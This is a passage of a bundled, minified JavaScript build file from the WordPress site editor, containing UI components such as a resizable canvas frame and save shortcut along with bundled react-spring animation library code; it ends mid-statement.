8281 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { hidden: true, id: resizableHandleHelpId, children: (0,external_wp_i18n_namespaceObject.__)(
8282 "Use left and right arrow keys to resize the canvas. Hold shift to resize in larger increments."
8283 ) })
8284 ] })
8285 },
8286 onResizeStart: handleResizeStart,
8287 onResize: handleResize,
8288 onResizeStop: handleResizeStop,
8289 className: dist_clsx("edit-site-resizable-frame__inner", {
8290 "is-resizing": isResizing
8291 }),
8292 showHandle: false,
8293 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8294 "div",
8295 {
8296 className: "edit-site-resizable-frame__inner-content",
8297 style: innerContentStyle,
8298 children
8299 }
8300 )
8301 }
8302 );
8303}
8304var resizable_frame_default = ResizableFrame;
8305
8306
8307;// external ["wp","keyboardShortcuts"]
8308const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
8309;// ./node_modules/@wordpress/edit-site/build-module/components/save-keyboard-shortcut/index.js
8310
8311
8312
8313
8314
8315
8316
8317const shortcutName = "core/edit-site/save";
8318function SaveKeyboardShortcut() {
8319 const { __experimentalGetDirtyEntityRecords, isSavingEntityRecord } = (0,external_wp_data_.useSelect)(external_wp_coreData_namespaceObject.store);
8320 const { hasNonPostEntityChanges, isPostSavingLocked } = (0,external_wp_data_.useSelect)(external_wp_editor_namespaceObject.store);
8321 const { savePost } = (0,external_wp_data_.useDispatch)(external_wp_editor_namespaceObject.store);
8322 const { setIsSaveViewOpened } = (0,external_wp_data_.useDispatch)(store);
8323 const { registerShortcut, unregisterShortcut } = (0,external_wp_data_.useDispatch)(
8324 external_wp_keyboardShortcuts_namespaceObject.store
8325 );
8326 (0,external_wp_element_.useEffect)(() => {
8327 registerShortcut({
8328 name: shortcutName,
8329 category: "global",
8330 description: (0,external_wp_i18n_namespaceObject.__)("Save your changes."),
8331 keyCombination: {
8332 modifier: "primary",
8333 character: "s"
8334 }
8335 });
8336 return () => {
8337 unregisterShortcut(shortcutName);
8338 };
8339 }, [registerShortcut, unregisterShortcut]);
8340 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-site/save", (event) => {
8341 event.preventDefault();
8342 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
8343 const hasDirtyEntities = !!dirtyEntityRecords.length;
8344 const isSaving = dirtyEntityRecords.some(
8345 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
8346 );
8347 if (!hasDirtyEntities || isSaving) {
8348 return;
8349 }
8350 if (hasNonPostEntityChanges()) {
8351 setIsSaveViewOpened(true);
8352 } else if (!isPostSavingLocked()) {
8353 savePost();
8354 }
8355 });
8356 return null;
8357}
8358
8359
8360;// ./node_modules/@wordpress/edit-site/build-module/components/layout/hooks.js
8361
8362
8363
8364const MAX_LOADING_TIME = 1e4;
8365function useIsSiteEditorLoading() {
8366 const [loaded, setLoaded] = (0,external_wp_element_.useState)(false);
8367 const inLoadingPause = (0,external_wp_data_.useSelect)(
8368 (select) => {
8369 const hasResolvingSelectors = select(external_wp_coreData_namespaceObject.store).hasResolvingSelectors();
8370 return !loaded && !hasResolvingSelectors;
8371 },
8372 [loaded]
8373 );
8374 (0,external_wp_element_.useEffect)(() => {
8375 let timeout;
8376 if (!loaded) {
8377 timeout = setTimeout(() => {
8378 setLoaded(true);
8379 }, MAX_LOADING_TIME);
8380 }
8381 return () => {
8382 clearTimeout(timeout);
8383 };
8384 }, [loaded]);
8385 (0,external_wp_element_.useEffect)(() => {
8386 if (inLoadingPause) {
8387 const ARTIFICIAL_DELAY = 100;
8388 const timeout = setTimeout(() => {
8389 setLoaded(true);
8390 }, ARTIFICIAL_DELAY);
8391 return () => {
8392 clearTimeout(timeout);
8393 };
8394 }
8395 }, [inLoadingPause]);
8396 return !loaded;
8397}
8398
8399
8400;// ./node_modules/@react-spring/rafz/dist/esm/index.js
8401var esm_f=esm_l(),esm_n=e=>esm_c(e,esm_f),esm_m=esm_l();esm_n.write=e=>esm_c(e,esm_m);var esm_d=esm_l();esm_n.onStart=e=>esm_c(e,esm_d);var esm_h=esm_l();esm_n.onFrame=e=>esm_c(e,esm_h);var esm_p=esm_l();esm_n.onFinish=e=>esm_c(e,esm_p);var esm_i=[];esm_n.setTimeout=(e,t)=>{let a=esm_n.now()+t,o=()=>{let F=esm_i.findIndex(z=>z.cancel==o);~F&&esm_i.splice(F,1),esm_u-=~F?1:0},s={time:a,handler:e,cancel:o};return esm_i.splice(esm_w(a),0,s),esm_u+=1,esm_v(),s};var esm_w=e=>~(~esm_i.findIndex(t=>t.time>e)||~esm_i.length);esm_n.cancel=e=>{esm_d.delete(e),esm_h.delete(e),esm_p.delete(e),esm_f.delete(e),esm_m.delete(e)};esm_n.sync=e=>{T=!0,esm_n.batchedUpdates(e),T=!1};esm_n.throttle=e=>{let t;function a(){try{e(...t)}finally{t=null}}function o(...s){t=s,esm_n.onStart(a)}return o.handler=e,o.cancel=()=>{esm_d.delete(a),t=null},o};var esm_y=typeof window<"u"?window.requestAnimationFrame:()=>{};esm_n.use=e=>esm_y=e;esm_n.now=typeof performance<"u"?()=>performance.now():Date.now;esm_n.batchedUpdates=e=>e();esm_n.catch=console.error;esm_n.frameLoop="always";esm_n.advance=()=>{esm_n.frameLoop!=="demand"?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):esm_x()};var esm_r=-1,esm_u=0,T=!1;function esm_c(e,t){T?(t.delete(e),e(0)):(t.add(e),esm_v())}function esm_v(){esm_r<0&&(esm_r=0,esm_n.frameLoop!=="demand"&&esm_y(esm_b))}function esm_R(){esm_r=-1}function esm_b(){~esm_r&&(esm_y(esm_b),esm_n.batchedUpdates(esm_x))}function esm_x(){let e=esm_r;esm_r=esm_n.now();let t=esm_w(esm_r);if(t&&(Q(esm_i.splice(0,t),a=>a.handler()),esm_u-=t),!esm_u){esm_R();return}esm_d.flush(),esm_f.flush(e?Math.min(64,esm_r-e):16.667),esm_h.flush(),esm_m.flush(),esm_p.flush()}function esm_l(){let e=new Set,t=e;return{add(a){esm_u+=t==e&&!e.has(a)?1:0,e.add(a)},delete(a){return esm_u-=t==e&&e.has(a)?1:0,e.delete(a)},flush(a){t.size&&(e=new Set,esm_u-=t.size,Q(t,o=>o(a)&&e.add(o)),esm_u+=e.size,t=e)}}}function Q(e,t){e.forEach(a=>{try{t(a)}catch(o){esm_n.catch(o)}})}var esm_S={count(){return esm_u},isRunning(){return esm_r>=0},clear(){esm_r=-1,esm_i=[],esm_d=esm_l(),esm_f=esm_l(),esm_h=esm_l(),esm_m=esm_l(),esm_p=esm_l(),esm_u=0}};
8402
8403// EXTERNAL MODULE: external "React"
8404var external_React_ = __webpack_require__(1609);
8405var external_React_namespaceObject = /*#__PURE__*/__webpack_require__.t(external_React_, 2);
8406;// ./node_modules/@react-spring/shared/dist/esm/index.js
8407var ze=Object.defineProperty;var Le=(e,t)=>{for(var r in t)ze(e,r,{get:t[r],enumerable:!0})};var dist_esm_p={};Le(dist_esm_p,{assign:()=>U,colors:()=>dist_esm_c,createStringInterpolator:()=>esm_k,skipAnimation:()=>ee,to:()=>J,willAdvance:()=>dist_esm_S});function Y(){}var mt=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),dist_esm_l={arr:Array.isArray,obj:e=>!!e&&e.constructor.name==="Object",fun:e=>typeof e=="function",str:e=>typeof e=="string",num:e=>typeof e=="number",und:e=>e===void 0};function bt(e,t){if(dist_esm_l.arr(e)){if(!dist_esm_l.arr(t)||e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}return e===t}var esm_Ve=(e,t)=>e.forEach(t);function xt(e,t,r){if(dist_esm_l.arr(e)){for(let n=0;n<e.length;n++)t.call(r,e[n],`${n}`);return}for(let n in e)e.hasOwnProperty(n)&&t.call(r,e[n],n)}var ht=e=>dist_esm_l.und(e)?[]:dist_esm_l.arr(e)?e:[e];function Pe(e,t){if(e.size){let r=Array.from(e);e.clear(),esm_Ve(r,t)}}var yt=(e,...t)=>Pe(e,r=>r(...t)),dist_esm_h=()=>typeof window>"u"||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent);var esm_k,J,dist_esm_c=null,ee=!1,dist_esm_S=Y,U=e=>{e.to&&(J=e.to),e.now&&(esm_n.now=e.now),e.colors!==void 0&&(dist_esm_c=e.colors),e.skipAnimation!=null&&(ee=e.skipAnimation),e.createStringInterpolator&&(esm_k=e.createStringInterpolator),e.requestAnimationFrame&&esm_n.use(e.requestAnimationFrame),e.batchedUpdates&&(esm_n.batchedUpdates=e.batchedUpdates),e.willAdvance&&(dist_esm_S=e.willAdvance),e.frameLoop&&(esm_n.frameLoop=e.frameLoop)};var esm_E=new Set,dist_esm_u=[],esm_H=[],A=0,qe={get idle(){return!esm_E.size&&!dist_esm_u.length},start(e){A>e.priority?(esm_E.add(e),esm_n.onStart($e)):(te(e),esm_n(B))},advance:B,sort(e){if(A)esm_n.onFrame(()=>qe.sort(e));else{let t=dist_esm_u.indexOf(e);~t&&(dist_esm_u.splice(t,1),re(e))}},clear(){dist_esm_u=[],esm_E.clear()}};function $e(){esm_E.forEach(te),esm_E.clear(),esm_n(B)}function te(e){dist_esm_u.includes(e)||re(e)}function re(e){dist_esm_u.splice(Ge(dist_esm_u,t=>t.priority>e.priority),0,e)}function B(e){let t=esm_H;for(let r=0;r<dist_esm_u.length;r++){let n=dist_esm_u[r];A=n.priority,n.idle||(dist_esm_S(n),n.advance(e),n.idle||t.push(n))}return A=0,esm_H=dist_esm_u,esm_H.length=0,dist_esm_u=t,dist_esm_u.length>0}function Ge(e,t){let r=e.findIndex(t);return r<0?e.length:r}var ne=(e,t,r)=>Math.min(Math.max(r,e),t);var It={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199};var dist_esm_d="[-+]?\\d*\\.?\\d+",esm_M=dist_esm_d+"%";function C(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}var oe=new RegExp("rgb"+C(dist_esm_d,dist_esm_d,dist_esm_d)),fe=new RegExp("rgba"+C(dist_esm_d,dist_esm_d,dist_esm_d,dist_esm_d)),ae=new RegExp("hsl"+C(dist_esm_d,esm_M,esm_M)),ie=new RegExp("hsla"+C(dist_esm_d,esm_M,esm_M,dist_esm_d)),se=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,ue=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,le=/^#([0-9a-fA-F]{6})$/,esm_ce=/^#([0-9a-fA-F]{8})$/;function be(e){let t;return typeof e=="number"?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=le.exec(e))?parseInt(t[1]+"ff",16)>>>0:dist_esm_c&&dist_esm_c[e]!==void 0?dist_esm_c[e]:(t=oe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|255)>>>0:(t=fe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|me(t[4]))>>>0:(t=se.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=esm_ce.exec(e))?parseInt(t[1],16)>>>0:(t=ue.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=ae.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|255)>>>0:(t=ie.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|me(t[4]))>>>0:null}function esm_j(e,t,r){return r<0&&(r+=1),r>1&&(r-=1),r<1/6?e+(t-e)*6*r:r<1/2?t:r<2/3?e+(t-e)*(2/3-r)*6:e}function de(e,t,r){let n=r<.5?r*(1+t):r+t-r*t,f=2*r-n,o=esm_j(f,n,e+1/3),i=esm_j(f,n,e),s=esm_j(f,n,e-1/3);return Math.round(o*255)<<24|Math.round(i*255)<<16|Math.round(s*255)<<8}function dist_esm_y(e){let t=parseInt(e,10);return t<0?0:t>255?255:t}function esm_pe(e){return(parseFloat(e)%360+360)%360/360}function me(e){let t=parseFloat(e);return t<0?0:t>1?255:Math.round(t*255)}function esm_z(e){let t=parseFloat(e);return t<0?0:t>100?1:t/100}function D(e){let t=be(e);if(t===null)return e;t=t||0;let r=(t&4278190080)>>>24,n=(t&16711680)>>>16,f=(t&65280)>>>8,o=(t&255)/255;return`rgba(${r}, ${n}, ${f}, ${o})`}var W=(e,t,r)=>{if(dist_esm_l.fun(e))return e;if(dist_esm_l.arr(e))return W({range:e,output:t,extrapolate:r});if(dist_esm_l.str(e.output[0]))return esm_k(e);let n=e,f=n.output,o=n.range||[0,1],i=n.extrapolateLeft||n.extrapolate||"extend",s=n.extrapolateRight||n.extrapolate||"extend",x=n.easing||(a=>a);return a=>{let F=He(a,o);return Ue(a,o[F],o[F+1],f[F],f[F+1],x,i,s,n.map)}};function Ue(e,t,r,n,f,o,i,s,x){let a=x?x(e):e;if(a<t){if(i==="identity")return a;i==="clamp"&&(a=t)}if(a>r){if(s==="identity")return a;s==="clamp"&&(a=r)}return n===f?n:t===r?e<=t?n:f:(t===-1/0?a=-a:r===1/0?a=a-t:a=(a-t)/(r-t),a=o(a),n===-1/0?a=-a:f===1/0?a=a+n:a=a*(f-n)+n,a)}function He(e,t){for(var r=1;r<t.length-1&&!(t[r]>=e);++r);return r-1}var Be=(e,t="end")=>r=>{r=t==="end"?Math.min(r,.999):Math.max(r,.001);let n=r*e,f=t==="end"?Math.floor(n):Math.ceil(n);return ne(0,1,f/e)},P=1.70158,L=P*1.525,xe=P+1,he=2*Math.PI/3,ye=2*Math.PI/4.5,V=e=>e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,Lt={linear:e=>e,easeInQuad:e=>e*e,easeOutQuad:e=>1-(1-e)*(1-e),easeInOutQuad:e=>e<.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=>e*e*e,easeOutCubic:e=>1-Math.pow(1-e,3),easeInOutCubic:e=>e<.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=>e*e*e*e,easeOutQuart:e=>1-Math.pow(1-e,4),easeInOutQuart:e=>e<.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=>e*e*e*e*e,easeOutQuint:e=>1-Math.pow(1-e,5),easeInOutQuint:e=>e<.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=>1-Math.cos(e*Math.PI/2),easeOutSine:e=>Math.sin(e*Math.PI/2),easeInOutSine:e=>-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=>e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=>e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=>e===0?0:e===1?1:e<.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=>1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=>Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=>e<.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=>xe*e*e*e-P*e*e,easeOutBack:e=>1+xe*Math.pow(e-1,3)+P*Math.pow(e-1,2),easeInOutBack:e=>e<.5?Math.pow(2*e,2)*((L+1)*2*e-L)/2:(Math.pow(2*e-2,2)*((L+1)*(e*2-2)+L)+2)/2,easeInElastic:e=>e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*he),easeOutElastic:e=>e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*he)+1,easeInOutElastic:e=>e===0?0:e===1?1:e<.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*ye))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*ye)/2+1,easeInBounce:e=>1-V(1-e),easeOutBounce:V,easeInOutBounce:e=>e<.5?(1-V(1-2*e))/2:(1+V(2*e-1))/2,steps:Be};var esm_g=Symbol.for("FluidValue.get"),dist_esm_m=Symbol.for("FluidValue.observers");var Pt=e=>Boolean(e&&e[esm_g]),ve=e=>e&&e[esm_g]?e[esm_g]():e,esm_qt=e=>e[dist_esm_m]||null;function je(e,t){e.eventObserved?e.eventObserved(t):e(t)}function $t(e,t){let r=e[dist_esm_m];r&&r.forEach(n=>{je(n,t)})}var esm_ge=class{[esm_g];[dist_esm_m];constructor(t){if(!t&&!(t=this.get))throw Error("Unknown getter");De(this,t)}},De=(e,t)=>Ee(e,esm_g,t);function Gt(e,t){if(e[esm_g]){let r=e[dist_esm_m];r||Ee(e,dist_esm_m,r=new Set),r.has(t)||(r.add(t),e.observerAdded&&e.observerAdded(r.size,t))}return t}function Qt(e,t){let r=e[dist_esm_m];if(r&&r.has(t)){let n=r.size-1;n?r.delete(t):e[dist_esm_m]=null,e.observerRemoved&&e.observerRemoved(n,t)}}var Ee=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0});var O=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,esm_Oe=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,K=new RegExp(`(${O.source})(%|[a-z]+)`,"i"),we=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,dist_esm_b=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/;var esm_N=e=>{let[t,r]=We(e);if(!t||dist_esm_h())return e;let n=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(n)return n.trim();if(r&&r.startsWith("--")){let f=window.getComputedStyle(document.documentElement).getPropertyValue(r);return f||e}else{if(r&&dist_esm_b.test(r))return esm_N(r);if(r)return r}return e},We=e=>{let t=dist_esm_b.exec(e);if(!t)return[,];let[,r,n]=t;return[r,n]};var _,esm_Ke=(e,t,r,n,f)=>`rgba(${Math.round(t)}, ${Math.round(r)}, ${Math.round(n)}, ${f})`,Xt=e=>{_||(_=dist_esm_c?new RegExp(`(${Object.keys(dist_esm_c).join("|")})(?!\\w)`,"g"):/^\b$/);let t=e.output.map(o=>ve(o).replace(dist_esm_b,esm_N).replace(esm_Oe,D).replace(_,D)),r=t.map(o=>o.match(O).map(Number)),f=r[0].map((o,i)=>r.map(s=>{if(!(i in s))throw Error('The arity of each "output" value must be equal');return s[i]})).map(o=>W({...e,output:o}));return o=>{let i=!K.test(t[0])&&t.find(x=>K.test(x))?.replace(O,""),s=0;return t[0].replace(O,()=>`${f[s++](o)}${i||""}`).replace(we,esm_Ke)}};var Z="react-spring: ",Te=e=>{let t=e,r=!1;if(typeof t!="function")throw new TypeError(`${Z}once requires a function parameter`);return(...n)=>{r||(t(...n),r=!0)}},Ne=Te(console.warn);function Jt(){Ne(`${Z}The "interpolate" function is deprecated in v9 (use "to" instead)`)}var _e=Te(console.warn);function er(){_e(`${Z}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function esm_or(e){return dist_esm_l.str(e)&&(e[0]=="#"||/\d/.test(e)||!dist_esm_h()&&dist_esm_b.test(e)||e in(dist_esm_c||{}))}var dist_esm_v,q=new WeakMap,Ze=e=>e.forEach(({target:t,contentRect:r})=>q.get(t)?.forEach(n=>n(r)));function Fe(e,t){dist_esm_v||typeof ResizeObserver<"u"&&(dist_esm_v=new ResizeObserver(Ze));let r=q.get(t);return r||(r=new Set,q.set(t,r)),r.add(e),dist_esm_v&&dist_esm_v.observe(t),()=>{let n=q.get(t);!n||(n.delete(e),!n.size&&dist_esm_v&&dist_esm_v.unobserve(t))}}var esm_$=new Set,dist_esm_w,esm_Xe=()=>{let e=()=>{esm_$.forEach(t=>t({width:window.innerWidth,height:window.innerHeight}))};return window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e)}},Ie=e=>(esm_$.add(e),dist_esm_w||(dist_esm_w=esm_Xe()),()=>{esm_$.delete(e),!esm_$.size&&dist_esm_w&&(dist_esm_w(),dist_esm_w=void 0)});var ke=(e,{container:t=document.documentElement}={})=>t===document.documentElement?Ie(e):Fe(e,t);var Se=(e,t,r)=>t-e===0?1:(r-e)/(t-e);var esm_Ye={x:{length:"Width",position:"Left"},y:{length:"Height",position:"Top"}},esm_G=class{callback;container;info;constructor(t,r){this.callback=t,this.container=r,this.info={time:0,x:this.createAxis(),y:this.createAxis()}}createAxis=()=>({current:0,progress:0,scrollLength:0});updateAxis=t=>{let r=this.info[t],{length:n,position:f}=esm_Ye[t];r.current=this.container[`scroll${f}`],r.scrollLength=this.container["scroll"+n]-this.container["client"+n],r.progress=Se(0,r.scrollLength,r.current)};update=()=>{this.updateAxis("x"),this.updateAxis("y")};sendEvent=()=>{this.callback(this.info)};advance=()=>{this.update(),this.sendEvent()}};var esm_T=new WeakMap,Ae=new WeakMap,X=new WeakMap,Me=e=>e===document.documentElement?window:e,yr=(e,{container:t=document.documentElement}={})=>{let r=X.get(t);r||(r=new Set,X.set(t,r));let n=new esm_G(e,t);if(r.add(n),!esm_T.has(t)){let o=()=>(r?.forEach(s=>s.advance()),!0);esm_T.set(t,o);let i=Me(t);window.addEventListener("resize",o,{passive:!0}),t!==document.documentElement&&Ae.set(t,ke(o,{container:t})),i.addEventListener("scroll",o,{passive:!0})}let f=esm_T.get(t);return Re(f),()=>{Re.cancel(f);let o=X.get(t);if(!o||(o.delete(n),o.size))return;let i=esm_T.get(t);esm_T.delete(t),i&&(Me(t).removeEventListener("scroll",i),window.removeEventListener("resize",i),Ae.get(t)?.())}};function Er(e){let t=Je(null);return t.current===null&&(t.current=e()),t.current}var esm_Q=dist_esm_h()?external_React_.useEffect:external_React_.useLayoutEffect;var Ce=()=>{let e=(0,external_React_.useRef)(!1);return esm_Q(()=>(e.current=!0,()=>{e.current=!1}),[]),e};function Mr(){let e=(0,external_React_.useState)()[1],t=Ce();return()=>{t.current&&e(Math.random())}}function Lr(e,t){let[r]=(0,external_React_.useState)(()=>({inputs:t,result:e()})),n=(0,external_React_.useRef)(),f=n.current,o=f;return o?Boolean(t&&o.inputs&&it(t,o.inputs))||(o={inputs:t,result:e()}):o=r,(0,external_React_.useEffect)(()=>{n.current=o,f==r&&(r.inputs=r.result=void 0)},[o]),o.result}function it(e,t){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}var $r=e=>(0,external_React_.useEffect)(e,ut),ut=[];function Ur(e){let t=ct();return lt(()=>{t.current=e}),t.current}var Wr=()=>{let[e,t]=dt(null);return esm_Q(()=>{let r=window.matchMedia("(prefers-reduced-motion)"),n=f=>{t(f.matches),U({skipAnimation:f.matches})};return n(r),r.addEventListener("change",n),()=>{r.removeEventListener("change",n)}},[]),e};
8408
8409;// ./node_modules/@react-spring/animated/dist/esm/index.js
8410var animated_dist_esm_h=Symbol.for("Animated:node"),animated_dist_esm_v=e=>!!e&&e[animated_dist_esm_h]===e,dist_esm_k=e=>e&&e[animated_dist_esm_h],esm_D=(e,t)=>mt(e,animated_dist_esm_h,t),F=e=>e&&e[animated_dist_esm_h]&&e[animated_dist_esm_h].getPayload(),animated_dist_esm_c=class{payload;constructor(){esm_D(this,this)}getPayload(){return this.payload||[]}};var animated_dist_esm_l=class extends animated_dist_esm_c{constructor(r){super();this._value=r;dist_esm_l.num(this._value)&&(this.lastPosition=this._value)}done=!0;elapsedTime;lastPosition;lastVelocity;v0;durationProgress=0;static create(r){return new animated_dist_esm_l(r)}getPayload(){return[this]}getValue(){return this._value}setValue(r,n){return dist_esm_l.num(r)&&(this.lastPosition=r,n&&(r=Math.round(r/n)*n,this.done&&(this.lastPosition=r))),this._value===r?!1:(this._value=r,!0)}reset(){let{done:r}=this;this.done=!1,dist_esm_l.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,r&&(this.lastVelocity=null),this.v0=null)}};var animated_dist_esm_d=class extends animated_dist_esm_l{_string=null;_toString;constructor(t){super(0),this._toString=W({output:[t,t]})}static create(t){return new animated_dist_esm_d(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(dist_esm_l.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&&(this._toString=W({output:[this.getValue(),t]})),this._value=0,super.reset()}};var dist_esm_f={dependencies:null};var animated_dist_esm_u=class extends animated_dist_esm_c{constructor(r){super();this.source=r;this.setValue(r)}getValue(r){let n={};return xt(this.source,(a,i)=>{animated_dist_esm_v(a)?n[i]=a.getValue(r):Pt(a)?n[i]=ve(a):r||(n[i]=a)}),n}setValue(r){this.source=r,this.payload=this._makePayload(r)}reset(){this.payload&&esm_Ve(this.payload,r=>r.reset())}_makePayload(r){if(r){let n=new Set;return xt(r,this._addToPayload,n),Array.from(n)}}_addToPayload(r){dist_esm_f.dependencies&&Pt(r)&&dist_esm_f.dependencies.add(r);let n=F(r);n&&esm_Ve(n,a=>this.add(a))}};var animated_dist_esm_y=class extends animated_dist_esm_u{constructor(t){super(t)}static create(t){return new animated_dist_esm_y(t)}getValue(){return this.source.map(t=>t.getValue())}setValue(t){let r=this.getPayload();return t.length==r.length?r.map((n,a)=>n.setValue(t[a])).some(Boolean):(super.setValue(t.map(dist_esm_z)),!0)}};function dist_esm_z(e){return(esm_or(e)?animated_dist_esm_d:animated_dist_esm_l).create(e)}function esm_Le(e){let t=dist_esm_k(e);return t?t.constructor:dist_esm_l.arr(e)?animated_dist_esm_y:esm_or(e)?animated_dist_esm_d:animated_dist_esm_l}var dist_esm_x=(e,t)=>{let r=!dist_esm_l.fun(e)||e.prototype&&e.prototype.isReactComponent;return (0,external_React_.forwardRef)((n,a)=>{let i=(0,external_React_.useRef)(null),o=r&&(0,external_React_.useCallback)(s=>{i.current=esm_ae(a,s)},[a]),[m,T]=esm_ne(n,t),W=Mr(),P=()=>{let s=i.current;if(r&&!s)return;(s?t.applyAnimatedValues(s,m.getValue(!0)):!1)===!1&&W()},_=new 